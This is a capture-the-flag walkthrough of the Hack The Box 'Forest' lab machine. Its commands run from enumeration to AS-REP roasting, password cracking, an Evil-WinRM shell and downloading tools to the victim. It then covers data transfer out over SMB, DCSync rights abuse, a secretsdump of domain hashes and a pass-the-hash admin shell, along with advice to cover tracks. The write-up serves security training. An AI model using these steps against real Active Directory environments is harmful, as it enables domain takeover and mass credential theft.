This is a walkthrough of the Forest box from Hack The Box, done without using Metasploit.
-
Reconaissance
The nmapAutomator tool was taking a really long time to complete for me, so I decided to go back to a normal nmap scan and see what sort of results I could get:
root@kali:/home/churr0s/Documents/htb/forest# nmap -T4 -p- -A -Pn -oA initial_scan 10.10.10.161 Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-01 20:58 PST Nmap scan report for 10.10.10.161 Host is up (0.12s latency). Not shown: 65511 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-02 05:19:29Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49684/tcp open msrpc Microsoft Windows RPC 49703/tcp open msrpc Microsoft Windows RPC 49941/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=12/1%Time=5FC721C9%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=12/1%OT=53%CT=1%CU=43800%PV=Y%DS=2%DC=T%G=Y%TM=5FC722E OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=103%TI=RD%CI=RD%II=I%TS=A)S OS:EQ(SP=101%GCD=1%ISR=103%TI=I%II=I%SS=S%TS=A)SEQ(SP=100%GCD=1%ISR=102%TI= OS:I%CI=I%II=I%SS=S%TS=A)SEQ(SP=101%GCD=1%ISR=103%CI=RD%TS=A)OPS(O1=M54DNW8 OS:ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54 OS:DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T OS:=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T OS:2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O OS:%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y OS:%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%R OS:D=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IP OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h49m00s, deviation: 4h37m08s, median: 8m59s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2020-12-01T21:22:00-08:00 | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-12-02T05:22:01 |_ start_date: 2020-12-02T05:02:57 TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 83.48 ms 10.10.14.1 2 83.72 ms 10.10.10.161 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1008.40 seconds
- -T4 = Sets the timing for scanning. The higher the number between 0-5 means it’s faster, however it’s also less accurate. T4 is the default
- -p- = Port scan all ports
- -A = Enables OS detection, version detection, script scanning, and traceroute
- -Pn= Disable host discovery. Port scan only (I didn’t have a reason for this other than I just copied this whole nmap string from a previous scan and it just happened to include the -Pn flag
- -oA intial_scan = Output to a file I called “initial_scan”
- 10.10.10.161 = the victim box
We have 20 ports open:
- Ports 53: running DNS
- Port 88: running Microsoft Windows Kerberos
- Ports 139 & 445: running SMB
- Ports 389 & 3268: running Microsoft Windows Active Directory LDAP
- Port 464: running kpasswd5
- Ports 593 & 49676: running ncacn_http
- Ports 636 & 3269: running tcpwrapped
- Port 5985: running wsman
- Port 47001: running winrm
- Port 9389: running .NET Message Framing
- Ports 135, 49664, 49665, 49666, 49667, 49671, 49677, 49684, 49706, 49900: running Microsoft Windows RPC
Notes about what the nmap scan returned:
- We are most likely dealing with an Active Directory box because Kerberos and LDAP are running
- We see a domain: htb.local
- We see a hostname: FOREST.htb.local
- Operating system: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
- We can query LDAP for any useful information
- WSMan and WinRM open. That means if we can get any credentials from LDAP or SMB, we can use them to remote into the victim box
I didn’t get anything too useful with LDAP.
Neither smbmap nor smbclient allowed me to list file shares without a password:
But then I saw an article about using rpcclient and since that service is running as well, I will try to see if I have better luck. According to the article, “the rpcclient program was originally designed for troubleshooting and debugging Windows and Linux Samba daemon configurations, but we can leverage its capabilities in a penetration test (or even a vulnerability assessment or audit) to gather some awesome info…use rpcclient to interrogate target Windows machines across NULL SMB sessions. A NULL SMB session has a blank user name and a blank password.”
Follow THIS article for more info on the commands you can use. “My next task was to try and enumerate user and group information from the domain controllers with “rpcclient” only available to me. I quickly determined by using the “man” page that rpcclient could indeed perform an anonymous bind as follows…whereby 10.10.10.10 was the chosen address of the domain controller I could anonymously bind to. After that command was run, “rpcclient” will give you the most excellent “rpcclient> ” prompt.”
rpcclient -U "" -N 10.10.10.161
And then you can use the enumdomusers command to get a list of domain users:
Take the above usernames (I just used the main ones, not the weird ones) and put them in a file called usernames.txt
root@kali:home/churr0s/Documents/htb/forest# cat usernames.txt
Administrator
DefaultAccount
krbtgt
sebastien
lucinda
svc-alfresco
andy
mark
santi
rc
ln
Next we can use the Impacket tool GetNPUsers.py
to try to get a hash for each user. I find one for the svc-alfresco account:
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request
The way GetNPUsers works is that it checks to see if Kerberos pre-authentication is disabled on any of the accounts in a domain. If they are, GetNPUsers will send a dummy request for authentication. The Key Distribution Center (KDC) will then return a TGT that is encrypted with the user’s password. Once you have that, you can use a password cracker to brute force the user’s password which is in the encrypted TGT.
Now that we got a hash for the svc-alfresco account, let’s try to crack the password. Put the full hash into a text file:
Now use John the Ripper to crack the password:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
The “rockyou.txt” wordlist was successful and we were able to get a password of s3rvice.
2. Initial Foothold
Now that we have username and password, we can use those credentials to try to get an initial shell on the victim box. Because the WinRM and WSMan services are running, we can use the script Evil-WinRM:
evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
We get a shell. If we run a whoami we can see that we are running as svc-alfresco and we can actually grab the flag for this user:
3. Privilege Escalation
We will need to use privilege escalation to get to the administrator account. We can enumerate a bit more info first:
#enumerate users on the domain
net user /domain
#enumerate the user account we're running as
net user svc-alfresco
We can see that svc-alfresco is part of the Service Accounts group. We can use bloodhound to see if there are any paths that are exploitable.
Download Bloodhound. Copy the SharpHound.exe over to whatever directory you want to work out of, and then start a python server in that directory:
python -m SimpleHTTPServer 5555
Now back on the victim box, download SharpHound.exe over to it:
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:5555/SharpHound.exe', 'C:\Users\svc-alfresco\Desktop\SharpHound.exe')
Then run the program. Doing so will create two files. We will need to transfer the ZIP file to our attacker box:
./Sharphound.exe
To transfer the file to our attacker box, spin up a fileshare server in the directory you want to download the file into. Add smb2support and a username and password to make the share more secure:
smbserver.py share . -smb2support -username df -password df
Then back on your victim box send the file over:
net use \\10.10.14.3 \share /u:df df
copy <filename.zip> \\10.10.14.3\share\
Then after the file is transferred, cover your tracks by deleting the zip off of the victim box and end your fileshare session:
del <filename.zip>
net use /d \\10.10.14.3]share
Install Bloodhound
apt-get install bloodhound
- Run
neo4j console
, which opens theneo4j
web interface - Log in at
http://127.0.0.1:7474/
with username/password “neo4j”/”neo4j”. You’ll have to change your password on login (make sure they are longer than 2 characters as mine didn’t work with that. Close the window (but don’t exitneo4j
in the console)
- Run
bloodhound
from a new terminal window and log in with the creds you just set:
bloodhound
Now drag your zip file into blood hound and set the node to be the svc-alfresco user.
Then right-click the user and “mark user as owned”.
In the queries tab, select the pre-built query “shortest path from owned principals”
You will get a result that shows a path that goes from svc-alfresco to the domain. Along that path we can see what groups svc-alfresco is a member of, and what group THAT account is, and so on. From our results, we can see that:
- svc-alfresco is a member of the group Service Accounts
- Service Accounts is a member of the group Privileged IT Accounts
- Privileged IT Accounts is a member of the group Account Operators
- Account Operators group has GenericAll permissions on the Exchange Windows Permissions group
- Exchange Windows Permissions group has WriteDacl permissions on the domain
A few notes on what the above findings mean:
- The Account Operators group grants limited account creation privileges to a user. That means svc-alfresco has the ability to create other users on the domain
- The Account Operators group has GenericAll permissions on the Exchange Windows Permissions group
- which means members have full control of the group
- which means members can directly modify group membership
- because svc-alfresco is part of the Account Operators group, that means it can modify the permissions of the Exchange Windows Permissions group
- Exchange Windows Permission group has WriteDacl permission on the domain HTB.local
- members can modify the DACL (Discretionary Access Control list) on the domain
- take advantage of this to grant yourself DcSync privileges because this will give you the right to perform domain replication and dump all the password hashes from the domain
Now knowing the above, here is the strategy for privilege escalation:
- Have svc-alfresco create a new user on the domain (since it has Account Operators privileges to do so)
- Add this new user to the Exchange Windows Permission group (since svc-alfresco has GeneralAll permissions on the Exchange Windows Permission group)
- Give the new user DcSync privileges (since the user is part of Exchange Windows Permissions group, which has WriteDacl permission on the htb.local domain)
- Perform a Pass the Hash attack to get access to the administrator’s account
STEPS IN ACTION
Create a user “churr0s” on the domain, with a password of “password”
net user churr0s password /add /domain
Confirm the user was created
net user /domain
Add the new user, churr0s, to the Exchange Windows Permissions group
net group "Exchange Windows Permissions" /add churr0s
Confirm the user was added to the group
net user churr0s
Give the user DCSync privileges. We will need to use PowerView for this. Download Powerview and set up a python http server in the directory it resides in:
python -m SimpleHTTPServer 5555
Download PowerView.ps1 onto the victim box:
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:5555/PowerView.ps1', 'C:\Users\svc-alfresco\Desktop\PowerView.ps1')
Run PowerView
python -m SimpleHTTPServer 5555
User the Add-DomainObjectAcl function in PowerView to give the user DCSync privileges (the $cred command didnt show up on my screenshot but see the commands pasted below. It should be the three separate commands you run):
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\churr0s', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity churr0s -Rights DCSync
Now that the user has DCSync privileges, let’s go back to the attacker box and use the secretsdump Impacket script to dump the password hashes of all the users on the domain
secretsdump.py htb.local/churr0s:password@10.10.10.161
As seen above, we got password hashes for all the users (I cropped the picture to only show the first few) including the Administrator password!
Let’s use psexec from Impacket to perform a pass the hash attack with the Administrator hash
./psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
A shell was successfully generated! Grab the root flag: